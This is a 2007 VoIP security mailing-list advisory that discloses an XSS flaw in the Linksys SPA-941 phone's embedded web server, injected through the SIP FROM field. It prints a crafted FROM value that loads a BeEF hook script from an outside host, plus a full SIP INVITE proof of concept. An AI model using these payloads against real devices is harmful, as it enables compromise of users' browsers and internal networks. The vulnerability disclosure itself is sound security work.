[VOIPSEC] Owning the internal network with SIP (part 1) and a Linksys Phone
Radu State
State at loria.fr
Tue Oct 9 08:06:09 CDT 2007
SIP, the IETF endorsed VoIP signaling protocol, is currently used to
establish and manage VoIP calls. Many security issues have been addressed
until know about the security of VoIP due to the large numbers of attacks
coming from the traditional IP networks, but none have addressed the
securing the enterprise level network from SIP attacks. The basic question
that we have tried to address was: can we own the internal network with SIP?
A quick answer could be: use a buffer overflows and do it. While buffer
overflows in SIP stacks do exists, most of them are difficult to exploit
because they are affecting embedded devices with custom architectures and
operating systems. However, most VoIP devices have embedded web servers that
are typically used to configure them, or to allow the user to see the missed
calls, and all the call log history. The important issue is that, the user
will check the missed calls and other device related information from her
machine, which is usually on the internal network. In this post, I will
describe how XSS injection can be done with SIP and a vulnerable integrated
web server. The Linksys SPA Linksys SPA-941 (Version 5.1.8) phone has an
integrated web server that allows for configuration and call history
checking. An XSS vulnerability allows a malicious entity to perform XSS
injection because the "FROM" field coming from the SIP message is not
properly filtered. By sending a crafted SIP packet with the FROM field set
to :
"<script x='" <sip:'src='http://baloo/beef/y.js'>@192.168.1.9:5060>;tag=1",
the beef attack tool can be launched against the internal machine of the
user. Obviously any other XSS related attack (XSS proxy, Beef, Attack API,
Jikto) can be similarly performed
Affected Device: Linksys SPA Linksys SPA-941 (Version 5.1.8)
Date of Discovery 10/08/2007
Vendor was informed on 13/08/2007 and acknowledged the vulnerability
Credits:
Radu State
Balamurugan Karpagavinagam
Natraj Kaushik
MADYNES, INRIA, Nancy
Impact of this vulnerability: Very high : Most firewalls/IPS will not
protect the internal network against XSS attacks delivered over SIP.
Additionally, users will connect to these devices directly from the internal
network and therefore the internal network can be compromised. Jeremiah
Grossmann showed how firewalls can be deactivated with XSS attacks and many
other malicious usages do exist. Unfortunately, most VoIP devices have weak
embedded WEB applications, such that other vulnerable systems exist and
will be disclosed soon.
POC code :
INVITE sip:h at 192.168.1.3 SIP/2.0
Via: SIP/2.0/UDP 192.168.1.9:5060;rport
To: sip:h at 192.168.1.3
From: "<script>alert('hack')</script>""natraj"
<sip:natraj at loria.fr>;tag=002f000c
Call-ID: 401010907 at 192.168.1.9
CSeq: 4857 INVITE
Content-Type: application/sdp
Subject: sip: natraj at loria.fr
Contact: "natraj" <sip:192.168.1.9:5060;transport=udp>
Content-Length: 214
v=0
o=root 47650 47650 IN IP4 192.168.1.9
s=session
c=IN IP4 192.168.1.9
t=0 0
m=audio 5070 RTP/AVP 3 0 110 5
a=rtpmap:3 GSM/8000/1
a=rtpmap:0 PCMU/8000/1
a=rtpmap:110 speex/8000/1
a=rtpmap:5 DVI4/8000/1
More information about the Voipsec
mailing list